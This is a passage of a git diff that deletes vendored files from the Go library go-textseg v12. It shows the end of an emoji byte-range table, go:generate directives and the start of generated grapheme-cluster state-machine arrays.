(â—€ī¸) reverse button - | 0xE2 0x97 0xBB..0xBE #3.2 [4] (â—ģī¸..◾) white medium square..bl... - | 0xE2 0x98 0x80..0x85 #1.1 [6] (â˜€ī¸..★) sun..BLACK STAR - | 0xE2 0x98 0x87..0x92 #1.1 [12] (☇..☒) LIGHTNING..BALLOT BOX WI... - | 0xE2 0x98 0x94..0x95 #4.0 [2] (☔..☕) umbrella with rain drops... - | 0xE2 0x98 0x96..0x97 #3.2 [2] (☖..☗) WHITE SHOGI PIECE..BLACK... - | 0xE2 0x98 0x98 #4.1 [1] (â˜˜ī¸) shamrock - | 0xE2 0x98 0x99 #3.0 [1] (☙) REVERSED ROTATED FLORAL ... - | 0xE2 0x98 0x9A..0xFF #1.1 [86] (☚..♯) BLACK LEFT POINTING INDE... - | 0xE2 0x99 0x00..0xAF # - | 0xE2 0x99 0xB0..0xB1 #3.0 [2] (♰..♱) WEST SYRIAC CROSS..EAST ... - | 0xE2 0x99 0xB2..0xBD #3.2 [12] (♲..â™Ŋ) UNIVERSAL RECYCLING SYMB... - | 0xE2 0x99 0xBE..0xBF #4.1 [2] (â™žī¸..â™ŋ) infinity..wheelchair sy... - | 0xE2 0x9A 0x80..0x85 #3.2 [6] (⚀..⚅) DIE FACE-1..DIE FACE-6 - | 0xE2 0x9A 0x90..0x91 #4.0 [2] (⚐..⚑) WHITE FLAG..BLACK FLAG - | 0xE2 0x9A 0x92..0x9C #4.1 [11] (âš’ī¸..âšœī¸) hammer and pick..fleur... - | 0xE2 0x9A 0x9D #5.1 [1] (⚝) OUTLINED WHITE STAR - | 0xE2 0x9A 0x9E..0x9F #5.2 [2] (⚞..⚟) THREE LINES CONVERGING R... - | 0xE2 0x9A 0xA0..0xA1 #4.0 [2] (âš ī¸..⚡) warning..high voltage - | 0xE2 0x9A 0xA2..0xB1 #4.1 [16] (âšĸ..âšąī¸) DOUBLED FEMALE SIGN..fu... - | 0xE2 0x9A 0xB2 #5.0 [1] (⚲) NEUTER - | 0xE2 0x9A 0xB3..0xBC #5.1 [10] (âšŗ..âšŧ) CERES..SESQUIQUADRATE - | 0xE2 0x9A 0xBD..0xBF #5.2 [3] (âšŊ..âšŋ) soccer ball..SQUARED KEY - | 0xE2 0x9B 0x80..0x83 #5.1 [4] (⛀..⛃) WHITE DRAUGHTS MAN..BLAC... - | 0xE2 0x9B 0x84..0x8D #5.2 [10] (⛄..⛍) snowman without snow..DI... - | 0xE2 0x9B 0x8E #6.0 [1] (⛎) Ophiuchus - | 0xE2 0x9B 0x8F..0xA1 #5.2 [19] (â›ī¸..⛡) pick..RESTRICTED LEFT E... - | 0xE2 0x9B 0xA2 #6.0 [1] (â›ĸ) ASTRONOMICAL SYMBOL FOR ... - | 0xE2 0x9B 0xA3 #5.2 [1] (â›Ŗ) HEAVY CIRCLE WITH STROKE... - | 0xE2 0x9B 0xA4..0xA7 #6.0 [4] (⛤..⛧) PENTAGRAM..INVERTED PENT... - | 0xE2 0x9B 0xA8..0xBF #5.2 [24] (⛨..â›ŋ) BLACK CROSS ON SHIELD..W... - | 0xE2 0x9C 0x80 #7.0 [1] (✀) BLACK SAFETY SCISSORS - | 0xE2 0x9C 0x81..0x84 #1.1 [4] (✁..✄) UPPER BLADE SCISSORS..WH... - | 0xE2 0x9C 0x85 #6.0 [1] (✅) check mark button - | 0xE2 0x9C 0x88..0x89 #1.1 [2] (âœˆī¸..âœ‰ī¸) airplane..envelope - | 0xE2 0x9C 0x8A..0x8B #6.0 [2] (✊..✋) raised fist..raised hand - | 0xE2 0x9C 0x8C..0x92 #1.1 [7] (âœŒī¸..âœ’ī¸) victory hand..black nib - | 0xE2 0x9C 0x94 #1.1 [1] (âœ”ī¸) check mark - | 0xE2 0x9C 0x96 #1.1 [1] (âœ–ī¸) multiplication sign - | 0xE2 0x9C 0x9D #1.1 [1] (âœī¸) latin cross - | 0xE2 0x9C 0xA1 #1.1 [1] (âœĄī¸) star of David - | 0xE2 0x9C 0xA8 #6.0 [1] (✨) sparkles - | 0xE2 0x9C 0xB3..0xB4 #1.1 [2] (âœŗī¸..âœ´ī¸) eight-spoked asterisk.... - | 0xE2 0x9D 0x84 #1.1 [1] (â„ī¸) snowflake - | 0xE2 0x9D 0x87 #1.1 [1] (â‡ī¸) sparkle - | 0xE2 0x9D 0x8C #6.0 [1] (❌) cross mark - | 0xE2 0x9D 0x8E #6.0 [1] (❎) cross mark button - | 0xE2 0x9D 0x93..0x95 #6.0 [3] (❓..❕) question mark..white exc... - | 0xE2 0x9D 0x97 #5.2 [1] (❗) exclamation mark - | 0xE2 0x9D 0xA3..0xA7 #1.1 [5] (âŖī¸..❧) heart exclamation..ROTA... - | 0xE2 0x9E 0x95..0x97 #6.0 [3] (➕..➗) plus sign..division sign - | 0xE2 0x9E 0xA1 #1.1 [1] (âžĄī¸) right arrow - | 0xE2 0x9E 0xB0 #6.0 [1] (➰) curly loop - | 0xE2 0x9E 0xBF #6.0 [1] (âžŋ) double curly loop - | 0xE2 0xA4 0xB4..0xB5 #3.2 [2] (â¤´ī¸..â¤ĩī¸) right arrow curving up... - | 0xE2 0xAC 0x85..0x87 #4.0 [3] (âŦ…ī¸..âŦ‡ī¸) left arrow..down arrow - | 0xE2 0xAC 0x9B..0x9C #5.1 [2] (âŦ›..âŦœ) black large square..whit... - | 0xE2 0xAD 0x90 #5.1 [1] (⭐) star - | 0xE2 0xAD 0x95 #5.2 [1] (⭕) hollow red circle - | 0xE3 0x80 0xB0 #1.1 [1] (ã€°ī¸) wavy dash - | 0xE3 0x80 0xBD #3.2 [1] (ã€Ŋī¸) part alternation mark - | 0xE3 0x8A 0x97 #1.1 [1] (ãŠ—ī¸) Japanese “congratulatio... - | 0xE3 0x8A 0x99 #1.1 [1] (ãŠ™ī¸) Japanese “secret” button - | 0xF0 0x9F 0x80 0x80..0xAB #5.1 [44] (🀀..đŸ€Ģ) MAHJONG TILE EAST WIN... - | 0xF0 0x9F 0x80 0xAC..0xAF #NA [4] (đŸ€Ŧ..đŸ€¯) ...... - | 0xF0 0x9F 0x83 0x81..0x8F #6.0 [15] (🃁..🃏) PLAYING CARD ACE OF D... - | 0xF0 0x9F 0x83 0x90 #NA [1] (🃐) - | 0xF0 0x9F 0x83 0x91..0x9F #6.0 [15] (🃑..🃟) PLAYING CARD ACE OF C... - | 0xF0 0x9F 0x83 0xA0..0xB5 #7.0 [22] (🃠..đŸƒĩ) PLAYING CARD FOOL..PL... - | 0xF0 0x9F 0x83 0xB6..0xBF #NA [10] (đŸƒļ..đŸƒŋ) ................... - | 0xF0 0x9F 0x8A..0x8A 0x00..0xFF # - | 0xF0 0x9F 0x8B 0x00..0xBF # - | 0xF0 0x9F 0x8C 0x80..0xA0 #6.0 [33] (🌀..🌠) cyclone..shooting star - | 0xF0 0x9F 0x8C 0xA1..0xAC #7.0 [12] (đŸŒĄī¸..đŸŒŦī¸) thermometer..wind face - | 0xF0 0x9F 0x8C 0xAD..0xAF #8.0 [3] (🌭..đŸŒ¯) hot dog..burrito - | 0xF0 0x9F 0x8C 0xB0..0xB5 #6.0 [6] (🌰..đŸŒĩ) chestnut..cactus - | 0xF0 0x9F 0x8C 0xB6 #7.0 [1] (đŸŒļī¸) hot pepper - | 0xF0 0x9F 0x8C 0xB7..0xFF #6.0 [70] (🌷..đŸŧ) tulip..baby bottle - | 0xF0 0x9F 0x8D 0x00..0xBC # - | 0xF0 0x9F 0x8D 0xBD #7.0 [1] (đŸŊī¸) fork and knife with plate - | 0xF0 0x9F 0x8D 0xBE..0xBF #8.0 [2] (🍾..đŸŋ) bottle with popping c... - | 0xF0 0x9F 0x8E 0x80..0x93 #6.0 [20] (🎀..🎓) ribbon..graduation cap - | 0xF0 0x9F 0x8E 0x94..0x9F #7.0 [12] (🎔..đŸŽŸī¸) HEART WITH TIP ON TH... - | 0xF0 0x9F 0x8E 0xA0..0xFF #6.0 [37] (🎠..🏄) carousel horse..perso... - | 0xF0 0x9F 0x8F 0x00..0x84 # - | 0xF0 0x9F 0x8F 0x85 #7.0 [1] (🏅) sports medal - | 0xF0 0x9F 0x8F 0x86..0x8A #6.0 [5] (🏆..🏊) trophy..person swimming - | 0xF0 0x9F 0x8F 0x8B..0x8E #7.0 [4] (đŸ‹ī¸..đŸŽī¸) person lifting weig... - | 0xF0 0x9F 0x8F 0x8F..0x93 #8.0 [5] (🏏..🏓) cricket game..ping pong - | 0xF0 0x9F 0x8F 0x94..0x9F #7.0 [12] (đŸ”ī¸..đŸŸī¸) snow-capped mountai... - | 0xF0 0x9F 0x8F 0xA0..0xB0 #6.0 [17] (🏠..🏰) house..castle - | 0xF0 0x9F 0x8F 0xB1..0xB7 #7.0 [7] (🏱..đŸˇī¸) WHITE PENNANT..label - | 0xF0 0x9F 0x8F 0xB8..0xBA #8.0 [3] (🏸..đŸē) badminton..amphora - | 0xF0 0x9F 0x90 0x80..0xBE #6.0 [63] (🐀..🐾) rat..paw prints - | 0xF0 0x9F 0x90 0xBF #7.0 [1] (đŸŋī¸) chipmunk - | 0xF0 0x9F 0x91 0x80 #6.0 [1] (👀) eyes - | 0xF0 0x9F 0x91 0x81 #7.0 [1] (đŸ‘ī¸) eye - | 0xF0 0x9F 0x91 0x82..0xFF #6.0[182] (👂..📷) ear..camera - | 0xF0 0x9F 0x92..0x92 0x00..0xFF # - | 0xF0 0x9F 0x93 0x00..0xB7 # - | 0xF0 0x9F 0x93 0xB8 #7.0 [1] (📸) camera with flash - | 0xF0 0x9F 0x93 0xB9..0xBC #6.0 [4] (📹..đŸ“ŧ) video camera..videoca... - | 0xF0 0x9F 0x93 0xBD..0xBE #7.0 [2] (đŸ“Ŋī¸..📾) film projector..PORT... - | 0xF0 0x9F 0x93 0xBF #8.0 [1] (đŸ“ŋ) prayer beads - | 0xF0 0x9F 0x94 0x80..0xBD #6.0 [62] (🔀..đŸ”Ŋ) shuffle tracks button... - | 0xF0 0x9F 0x95 0x86..0x8A #7.0 [5] (🕆..đŸ•Šī¸) WHITE LATIN CROSS..dove - | 0xF0 0x9F 0x95 0x8B..0x8F #8.0 [5] (🕋..🕏) kaaba..BOWL OF HYGIEIA - | 0xF0 0x9F 0x95 0x90..0xA7 #6.0 [24] (🕐..🕧) one o’clock..twelve-t... - | 0xF0 0x9F 0x95 0xA8..0xB9 #7.0 [18] (🕨..đŸ•šī¸) RIGHT SPEAKER..joystick - | 0xF0 0x9F 0x95 0xBA #9.0 [1] (đŸ•ē) man dancing - | 0xF0 0x9F 0x95 0xBB..0xFF #7.0 [41] (đŸ•ģ..đŸ–Ŗ) LEFT HAND TELEPHONE R... - | 0xF0 0x9F 0x96 0x00..0xA3 # - | 0xF0 0x9F 0x96 0xA4 #9.0 [1] (🖤) black heart - | 0xF0 0x9F 0x96 0xA5..0xFF #7.0 [86] (đŸ–Ĩī¸..đŸ—ēī¸) desktop computer..w... - | 0xF0 0x9F 0x97 0x00..0xBA # - | 0xF0 0x9F 0x97 0xBB..0xBF #6.0 [5] (đŸ—ģ..đŸ—ŋ) mount fuji..moai - | 0xF0 0x9F 0x98 0x80 #6.1 [1] (😀) grinning face - | 0xF0 0x9F 0x98 0x81..0x90 #6.0 [16] (😁..😐) beaming face with smi... - | 0xF0 0x9F 0x98 0x91 #6.1 [1] (😑) expressionless face - | 0xF0 0x9F 0x98 0x92..0x94 #6.0 [3] (😒..😔) unamused face..pensiv... - | 0xF0 0x9F 0x98 0x95 #6.1 [1] (😕) confused face - | 0xF0 0x9F 0x98 0x96 #6.0 [1] (😖) confounded face - | 0xF0 0x9F 0x98 0x97 #6.1 [1] (😗) kissing face - | 0xF0 0x9F 0x98 0x98 #6.0 [1] (😘) face blowing a kiss - | 0xF0 0x9F 0x98 0x99 #6.1 [1] (😙) kissing face with smilin... - | 0xF0 0x9F 0x98 0x9A #6.0 [1] (😚) kissing face with closed... - | 0xF0 0x9F 0x98 0x9B #6.1 [1] (😛) face with tongue - | 0xF0 0x9F 0x98 0x9C..0x9E #6.0 [3] (😜..😞) winking face with ton... - | 0xF0 0x9F 0x98 0x9F #6.1 [1] (😟) worried face - | 0xF0 0x9F 0x98 0xA0..0xA5 #6.0 [6] (😠..đŸ˜Ĩ) angry face..sad but r... - | 0xF0 0x9F 0x98 0xA6..0xA7 #6.1 [2] (đŸ˜Ļ..😧) frowning face with op... - | 0xF0 0x9F 0x98 0xA8..0xAB #6.0 [4] (😨..đŸ˜Ģ) fearful face..tired face - | 0xF0 0x9F 0x98 0xAC #6.1 [1] (đŸ˜Ŧ) grimacing face - | 0xF0 0x9F 0x98 0xAD #6.0 [1] (😭) loudly crying face - | 0xF0 0x9F 0x98 0xAE..0xAF #6.1 [2] (😮..đŸ˜¯) face with open mouth.... - | 0xF0 0x9F 0x98 0xB0..0xB3 #6.0 [4] (😰..đŸ˜ŗ) anxious face with swe... - | 0xF0 0x9F 0x98 0xB4 #6.1 [1] (😴) sleeping face - | 0xF0 0x9F 0x98 0xB5..0xFF #6.0 [12] (đŸ˜ĩ..🙀) dizzy face..weary cat - | 0xF0 0x9F 0x99 0x00..0x80 # - | 0xF0 0x9F 0x99 0x81..0x82 #7.0 [2] (🙁..🙂) slightly frowning fac... - | 0xF0 0x9F 0x99 0x83..0x84 #8.0 [2] (🙃..🙄) upside-down face..fac... - | 0xF0 0x9F 0x99 0x85..0x8F #6.0 [11] (🙅..🙏) person gesturing NO..... - | 0xF0 0x9F 0x9A 0x80..0xFF #6.0 [70] (🚀..🛅) rocket..left luggage - | 0xF0 0x9F 0x9B 0x00..0x85 # - | 0xF0 0x9F 0x9B 0x86..0x8F #7.0 [10] (🛆..đŸ›ī¸) TRIANGLE WITH ROUNDE... - | 0xF0 0x9F 0x9B 0x90 #8.0 [1] (🛐) place of worship - | 0xF0 0x9F 0x9B 0x91..0x92 #9.0 [2] (🛑..🛒) stop sign..shopping cart - | 0xF0 0x9F 0x9B 0x93..0x94 #10.0 [2] (🛓..🛔) STUPA..PAGODA - | 0xF0 0x9F 0x9B 0x95 #12.0 [1] (🛕) hindu temple - | 0xF0 0x9F 0x9B 0x96..0x9F #NA [10] (🛖..🛟) ...................... - | 0xF0 0x9F 0xA4 0x8D..0x8F #12.0 [3] (🤍..🤏) white heart..pinchin... - | 0xF0 0x9F 0xA4 0x90..0x98 #8.0 [9] (🤐..🤘) zipper-mouth face..si... - | 0xF0 0x9F 0xA4 0x99..0x9E #9.0 [6] (🤙..🤞) call me hand..crossed... - | 0xF0 0x9F 0xA4 0x9F #10.0 [1] (🤟) love-you gesture - | 0xF0 0x9F 0xA4 0xA0..0xA7 #9.0 [8] (🤠..🤧) cowboy hat face..snee... - | 0xF0 0x9F 0xA4 0xA8..0xAF #10.0 [8] (🤨..đŸ¤¯) face with raised eye... - | 0xF0 0x9F 0xA4 0xB0 #9.0 [1] (🤰) pregnant woman - | 0xF0 0x9F 0xA4 0xB1..0xB2 #10.0 [2] (🤱..🤲) breast-feeding..palm... - | 0xF0 0x9F 0xA4 0xB3..0xBA #9.0 [8] (đŸ¤ŗ..đŸ¤ē) selfie..person fencing - | 0xF0 0x9F 0xA4 0xBC..0xBE #9.0 [3] (đŸ¤ŧ..🤾) people wrestling..per... - | 0xF0 0x9F 0xA4 0xBF #12.0 [1] (đŸ¤ŋ) diving mask - | 0xF0 0x9F 0xA5 0x80..0x85 #9.0 [6] (đŸĨ€..đŸĨ…) wilted flower..goal net - | 0xF0 0x9F 0xA5 0x87..0x8B #9.0 [5] (đŸĨ‡..đŸĨ‹) 1st place medal..mart... - | 0xF0 0x9F 0xA5 0x8C #10.0 [1] (đŸĨŒ) curling stone - | 0xF0 0x9F 0xA5 0x8D..0x8F #11.0 [3] (đŸĨ..đŸĨ) lacrosse..flying disc - | 0xF0 0x9F 0xA5 0x90..0x9E #9.0 [15] (đŸĨ..đŸĨž) croissant..pancakes - | 0xF0 0x9F 0xA5 0x9F..0xAB #10.0 [13] (đŸĨŸ..đŸĨĢ) dumpling..canned food - | 0xF0 0x9F 0xA5 0xAC..0xB0 #11.0 [5] (đŸĨŦ..đŸĨ°) leafy green..smiling... - | 0xF0 0x9F 0xA5 0xB1 #12.0 [1] (đŸĨą) yawning face - | 0xF0 0x9F 0xA5 0xB2 #NA [1] (đŸĨ˛) - | 0xF0 0x9F 0xA5 0xB3..0xB6 #11.0 [4] (đŸĨŗ..đŸĨļ) partying face..cold ... - | 0xF0 0x9F 0xA5 0xB7..0xB9 #NA [3] (đŸĨˇ..đŸĨš) ..................... - | 0xF0 0x9F 0xAB..0xBE 0x00..0xFF # - | 0xF0 0x9F 0xBF 0x00..0xBD # - ; - -}%% diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/generate.go b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/generate.go deleted file mode 100644 index 9df1263484..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/generate.go +++ /dev/null @@ -1,8 +0,0 @@ -package textseg - -//go:generate go run make_tables.go -output tables.go -//go:generate go run make_test_tables.go -output tables_test.go -//go:generate ruby unicode2ragel.rb --url=https://www.unicode.org/Public/12.0.0/ucd/auxiliary/GraphemeBreakProperty.txt -m GraphemeCluster -p "Prepend,CR,LF,Control,Extend,Regional_Indicator,SpacingMark,L,V,T,LV,LVT,ZWJ" -o grapheme_clusters_table.rl -//go:generate ruby unicode2ragel.rb --url=https://www.unicode.org/Public/emoji/12.0/emoji-data.txt -m Emoji -p "Extended_Pictographic" -o emoji_table.rl -//go:generate ragel -Z grapheme_clusters.rl -//go:generate gofmt -w grapheme_clusters.go diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.go b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.go deleted file mode 100644 index c389827fed..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.go +++ /dev/null @@ -1,4078 +0,0 @@ -//line grapheme_clusters.rl:1 -package textseg - -import ( - "errors" - "unicode/utf8" -) - -// Generated from grapheme_clusters.rl. DO NOT EDIT - -//line grapheme_clusters.go:13 -var _graphclust_actions []byte = []byte{ - 0, 1, 0, 1, 4, 1, 10, 1, 11, - 1, 12, 1, 13, 1, 14, 1, 15, - 1, 16, 1, 17, 1, 18, 1, 19, - 1, 20, 1, 21, 1, 22, 2, 1, - 8, 2, 1, 9, 2, 2, 3, 2, - 5, 1, 3, 0, 1, 9, 3, 5, - 0, 1, 3, 5, 1, 6, 3, 5, - 1, 7, -} - -var _graphclust_key_offsets []int16 = []int16{ - 0, 0, 1, 3, 5, 7, 10, 15, - 17, 20, 28, 31, 33, 35, 38, 68, - 76, 78, 82, 85, 90, 95, 107, 119, - 127, 132, 142, 145, 152, 156, 164, 174, - 180, 188, 190, 198, 201, 203, 206, 208, - 215, 217, 225, 226, 247, 251, 257, 262, - 264, 268, 272, 274, 278, 280, 283, 287, - 289, 296, 298, 302, 306, 310, 312, 314, - 322, 326, 331, 333, 335, 337, 338, 340, - 342, 344, 346, 361, 365, 367, 369, 374, - 378, 384, 386, 388, 392, 396, 398, 402, - 409, 414, 418, 421, 422, 426, 433, 440, - 441, 442, 444, 453, 455, 457, 459, 491, - 495, 497, 501, 505, 508, 512, 516, 519, - 521, 527, 540, 542, 545, 547, 549, 553, - 557, 559, 561, 563, 565, 570, 576, 579, - 581, 585, 589, 596, 599, 605, 607, 611, - 613, 615, 618, 622, 623, 625, 631, 637, - 643, 645, 649, 653, 658, 663, 673, 675, - 677, 679, 680, 682, 683, 689, 691, 693, - 693, 695, 702, 704, 706, 708, 711, 716, - 718, 721, 729, 732, 734, 736, 739, 769, - 777, 779, 783, 786, 791, 796, 808, 820, - 828, 833, 843, 846, 853, 857, 865, 875, - 881, 889, 891, 899, 902, 904, 907, 909, - 916, 918, 926, 927, 948, 952, 958, 963, - 965, 969, 973, 975, 979, 981, 984, 988, - 990, 997, 999, 1003, 1007, 1011, 1013, 1015, - 1023, 1027, 1032, 1034, 1036, 1060, 1063, 1064, - 1066, 1068, 1072, 1075, 1076, 1081, 1082, 1085, - 1088, 1094, 1096, 1100, 1102, 1113, 1122, 1127, - 1129, 1133, 1135, 1137, 1138, 1140, 1143, 1146, - 1148, 1150, 1165, 1169, 1171, 1173, 1178, 1182, - 1188, 1190, 1192, 1196, 1200, 1202, 1206, 1213, - 1218, 1222, 1225, 1226, 1230, 1237, 1244, 1245, - 1246, 1248, 1257, 1259, 1261, 1263, 1295, 1299, - 1301, 1305, 1309, 1312, 1316, 1320, 1323, 1325, - 1331, 1344, 1346, 1349, 1351, 1353, 1357, 1361, - 1363, 1365, 1367, 1369, 1374, 1380, 1383, 1385, - 1389, 1393, 1400, 1403, 1409, 1411, 1415, 1417, - 1419, 1422, 1426, 1427, 1429, 1435, 1441, 1447, - 1449, 1453, 1457, 1462, 1467, 1477, 1479, 1481, - 1483, 1523, 1523, 1526, 1530, 1535, 1537, 1545, - 1547, 1549, 1551, 1553, 1555, 1557, 1559, 1563, - 1567, 1571, 1575, 1577, 1578, 1584, 1586, 1588, - 1590, 1597, 1598, 1600, 1605, 1607, 1609, 1611, - 1614, 1619, 1621, 1624, 1632, 1635, 1637, 1639, - 1642, 1672, 1680, 1682, 1686, 1689, 1694, 1699, - 1711, 1723, 1731, 1736, 1746, 1749, 1756, 1760, - 1768, 1778, 1784, 1792, 1794, 1802, 1805, 1807, - 1810, 1812, 1819, 1821, 1829, 1830, 1851, 1855, - 1861, 1866, 1868, 1872, 1876, 1878, 1882, 1884, - 1887, 1891, 1893, 1900, 1902, 1906, 1910, 1914, - 1916, 1918, 1926, 1930, 1935, 1937, 1939, 1941, - 1942, 1944, 1946, 1948, 1950, 1965, 1969, 1971, - 1973, 1978, 1982, 1988, 1990, 1992, 1996, 2000, - 2002, 2006, 2013, 2018, 2022, 2025, 2026, 2030, - 2037, 2044, 2045, 2046, 2048, 2057, 2059, 2061, - 2063, 2095, 2099, 2101, 2105, 2109, 2112, 2116, - 2120, 2123, 2125, 2131, 2144, 2146, 2149, 2151, - 2153, 2157, 2161, 2163, 2165, 2167, 2169, 2174, - 2180, 2183, 2185, 2189, 2193, 2200, 2203, 2209, - 2211, 2215, 2217, 2219, 2222, 2226, 2227, 2229, - 2235, 2241, 2247, 2249, 2253, 2257, 2262, 2267, - 2277, 2279, 2281, 2283, 2284, 2286, 2287, 2293, - 2295, 2297, 2297, 2299, 2305, 2307, 2309, 2311, - 2314, 2319, 2321, 2324, 2332, 2335, 2337, 2339, - 2342, 2372, 2380, 2382, 2386, 2389, 2394, 2399, - 2411, 2423, 2431, 2436, 2446, 2449, 2456, 2460, - 2468, 2478, 2484, 2492, 2494, 2502, 2505, 2507, - 2510, 2512, 2519, 2521, 2529, 2530, 2551, 2555, - 2561, 2566, 2568, 2572, 2576, 2578, 2582, 2584, - 2587, 2591, 2593, 2600, 2602, 2606, 2610, 2614, - 2616, 2618, 2626, 2630, 2635, 2637, 2639, 2663, - 2666, 2667, 2669, 2671, 2675, 2678, 2679, 2684, - 2685, 2688, 2691, 2697, 2699, 2703, 2705, 2716, - 2725, 2730, 2732, 2736, 2738, 2740, 2741, 2743, - 2746, 2749, 2751, 2753, 2768, 2772, 2774, 2776, - 2781, 2785, 2791, 2793, 2795, 2799, 2803, 2805, - 2809, 2816, 2821, 2825, 2828, 2829, 2833, 2840, - 2847, 2848, 2849, 2851, 2860, 2862, 2864, 2866, - 2898, 2902, 2904, 2908, 2912, 2915, 2919, 2923, - 2926, 2928, 2934, 2947, 2949, 2952, 2954, 2956, - 2960, 2964, 2966, 2968, 2970, 2972, 2977, 2983, - 2986, 2988, 2992, 2996, 3003, 3006, 3012, 3014, - 3018, 3020, 3022, 3025, 3029, 3030, 3032, 3038, - 3044, 3050, 3052, 3056, 3060, 3065, 3070, 3080, - 3082, 3084, 3086, 3126, 3126, 3129, 3133, 3138, - 3140, 3148, 3150, 3152, 3154, 3156, 3158, 3160, - 3162, 3166, 3170, 3174, 3178, 3180, 3181, 3187, - 3189, 3191, 3193, 3200, 3201, 3203, 3209, 3212, - 3215, 3219, 3222, 3225, 3232, 3234, 3258, 3260, - 3284, 3286, 3288, 3311, 3313, 3315, 3316, 3318, - 3320, 3322, 3328, 3330, 3362, 3366, 3371, 3394, - 3396, 3398, 3400, 3402, 3405, 3407, 3409, 3413, - 3413, 3469, 3525, 3556, 3561, 3565, 3587, 3596, - 3601, 3605, 3615, 3622, 3625, 3636, 3639, 3646, - 3652, 3656, 3662, 3679, 3694, 3703, 3709, 3719, - 3723, 3727, 3731, 3735, 3737, 3757, 3763, 3768, - 3770, 3772, 3775, 3777, 3779, 3783, 3839, 3895, - 3928, 3933, 3941, 3945, 3947, 3952, 3959, 3967, - 3970, 3973, 3979, 3982, 3988, 3991, 3994, 3998, - 4001, 4005, 4008, 4012, 4054, 4061, 4069, 4078, - 4082, 4089, 4091, 4093, 4103, 4107, 4111, 4115, - 4119, 4123, 4127, 4131, 4137, 4147, 4155, 4160, - 4163, 4167, 4169, 4172, 4177, 4179, 4182, 4185, - 4189, 4192, 4195, 4202, 4204, 4206, 4208, 4210, - 4213, 4218, 4220, 4223, 4231, 4234, 4236, 4238, - 4241, 4271, 4279, 4281, 4285, 4288, 4293, 4298, - 4310, 4322, 4330, 4335, 4345, 4348, 4355, 4359, - 4367, 4377, 4383, 4391, 4393, 4401, 4404, 4406, - 4409, 4411, 4418, 4420, 4428, 4429, 4450, 4454, - 4460, 4465, 4467, 4471, 4475, 4477, 4481, 4483, - 4486, 4490, 4492, 4499, 4501, 4505, 4509, 4513, - 4515, 4517, 4525, 4529, 4534, 4536, 4538, 4562, - 4565, 4566, 4568, 4570, 4574, 4577, 4578, 4583, - 4584, 4587, 4590, 4596, 4598, 4602, 4604, 4615, - 4624, 4629, 4631, 4635, 4637, 4639, 4640, 4642, - 4645, 4648, 4650, 4652, 4667, 4671, 4673, 4675, - 4680, 4684, 4690, 4692, 4694, 4698, 4702, 4704, - 4708, 4715, 4720, 4724, 4727, 4728, 4732, 4739, - 4746, 4747, 4748, 4750, 4759, 4761, 4763, 4765, - 4797, 4801, 4803, 4807, 4811, 4814, 4818, 4822, - 4825, 4827, 4833, 4846, 4848, 4851, 4853, 4855, - 4859, 4863, 4865, 4867, 4869, 4871, 4876, 4882, - 4885, 4887, 4891, 4895, 4902, 4905, 4911, 4913, - 4917, 4919, 4921, 4924, 4928, 4929, 4931, 4937, - 4943, 4949, 4951, 4955, 4959, 4964, 4969, 4979, - 4981, 4983, 4985, 5025, 5025, 5028, 5032, 5037, - 5039, 5047, 5049, 5051, 5053, 5055, 5057, 5059, - 5061, 5065, 5069, 5073, 5077, 5079, 5080, 5086, - 5088, 5090, 5092, 5099, 5100, 5102, 5126, 5128, - 5152, 5154, 5156, 5179, 5181, 5183, 5184, 5186, - 5188, 5190, 5196, 5198, 5230, 5234, 5239, 5262, - 5264, 5266, 5268, 5270, 5273, 5275, 5277, 5281, - 5281, 5337, 5393, 5424, 5429, 5432, 5454, 5467, - 5469, 5471, 5473, 5476, 5481, 5483, 5486, 5494, - 5497, 5499, 5501, 5504, 5534, 5542, 5544, 5548, - 5551, 5556, 5561, 5573, 5585, 5593, 5598, 5608, - 5611, 5618, 5622, 5630, 5640, 5646, 5654, 5656, - 5664, 5667, 5669, 5672, 5674, 5681, 5683, 5691, - 5692, 5713, 5717, 5723, 5728, 5730, 5734, 5738, - 5740, 5744, 5746, 5749, 5753, 5755, 5762, 5764, - 5768, 5772, 5776, 5778, 5780, 5788, 5792, 5797, - 5799, 5801, 5803, 5804, 5806, 5808, 5810, 5812, - 5827, 5831, 5833, 5835, 5840, 5844, 5850, 5852, - 5854, 5858, 5862, 5864, 5868, 5875, 5880, 5884, - 5887, 5888, 5892, 5899, 5906, 5907, 5908, 5910, - 5919, 5921, 5923, 5925, 5957, 5961, 5963, 5967, - 5971, 5974, 5978, 5982, 5985, 5987, 5993, 6006, - 6008, 6011, 6013, 6015, 6019, 6023, 6025, 6027, - 6029, 6031, 6036, 6042, 6045, 6047, 6051, 6055, - 6062, 6065, 6071, 6073, 6077, 6079, 6081, 6084, - 6088, 6089, 6091, 6097, 6103, 6109, 6111, 6115, - 6119, 6124, 6129, 6139, 6141, 6143, 6145, 6146, - 6148, 6149, 6155, 6157, 6159, 6159, 6166, 6170, - 6180, 6187, 6190, 6201, 6204, 6211, 6217, 6221, - 6227, 6244, 6259, 6268, 6274, 6284, 6288, 6292, - 6296, 6300, 6302, 6322, 6328, 6333, 6335, 6337, - 6340, 6342, 6344, 6348, 6404, 6460, 6493, 6498, - 6506, 6510, 6513, 6520, 6527, 6535, 6538, 6541, - 6547, 6550, 6556, 6559, 6562, 6568, 6571, 6577, - 6580, 6586, 6628, 6635, 6643, 6652, 6656, 6658, - 6660, 6662, 6665, 6670, 6672, 6675, 6683, 6686, - 6688, 6690, 6693, 6723, 6731, 6733, 6737, 6740, - 6745, 6750, 6762, 6774, 6782, 6787, 6797, 6800, - 6807, 6811, 6819, 6829, 6835, 6843, 6845, 6853, - 6856, 6858, 6861, 6863, 6870, 6872, 6880, 6881, - 6902, 6906, 6912, 6917, 6919, 6923, 6927, 6929, - 6933, 6935, 6938, 6942, 6944, 6951, 6953, 6957, - 6961, 6965, 6967, 6969, 6977, 6981, 6986, 6988, - 6990, 7014, 7017, 7018, 7020, 7022, 7026, 7029, - 7030, 7035, 7036, 7039, 7042, 7048, 7050, 7054, - 7056, 7067, 7076, 7081, 7083, 7087, 7089, 7091, - 7092, 7094, 7097, 7100, 7102, 7104, 7119, 7123, - 7125, 7127, 7132, 7136, 7142, 7144, 7146, 7150, - 7154, 7156, 7160, 7167, 7172, 7176, 7179, 7180, - 7184, 7191, 7198, 7199, 7200, 7202, 